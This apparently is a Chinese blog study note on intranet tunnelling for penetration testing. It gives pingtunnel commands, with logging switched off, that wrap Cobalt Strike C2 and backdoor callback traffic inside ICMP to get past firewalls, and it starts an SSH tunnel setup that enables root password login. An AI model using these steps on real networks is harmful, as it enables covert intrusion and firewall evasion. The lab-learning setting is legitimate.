隧道技术学习
2024-08-28 00:00:00 # 内网

隧道技术学习

利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。

常用隧道技术

网络层:IPv6 隧道、ICMP 隧道

传输层:TCP 隧道、UDP 隧道、常规端口转发

应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

协议判断命令

ICMP:ping ip or domain

HTTP:curl ip or domain

SSH:ssh ip or domain

DNS:nslookup domain

TCP:telnet ip port

隧道应用

C2server:192.168.5.31

Webserver:192.168.5.29,出网协议ICMP

ICMP隧道

工具:cs、pingtunnel

Pingtunnel is a tool that send TCP/UDP traffic over ICMP

先在C2server启动pingtunnel服务端

1
./pingtunnel -type server

然后在Webserver启动客户端,这里参数:-l是本地6666端口的流量,-s是转发到192.168.5.31服务端上,-t是服务端地址和端口,-tcp是封装tcp流量为icmp

1
pingtunnel.exe -type client -l :6666 -s 192.168.5.31 -t 192.168.5.31:7777 -tcp 1 -noprint 1 -nolog 1

这一步完成后,隧道就连接好了,下一步就是如何上线,监听端口的问题。

隧道的作用是将6666端口的流量转发到C2的7777,也就是cs要监听7777端口,那回连的地址就需要是Webserver的6666端口,才会经过icmp的封装发送到C2的7777端口,所以在生成后门的时候,回连地址是:127.0.0.1:6666

在cs上先添加一个对应的监听器,然后生成后门

image-20240828131717840

再添加一个C2server的7777端口监听,然后运行后门就可以上线

image-20240828131839103

在C2server上抓包看一下流量,可以看到通信流量都是ICMP协议

image-20240828132020930

SSH隧道

image-20240828173930525

C2server:192.168.5.31

webserver:192.168.5.32、192.168.2.128

sqlserver:

内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透

C2server开启ssh协议登录:

1
2
3
4
5
6
7
8
9
vi /etc/ssh/sshd_config

PermitRootLogin yes

PasswordAuthentication yes

/etc/init.d/ssh start

/etc/init.d/ssh restart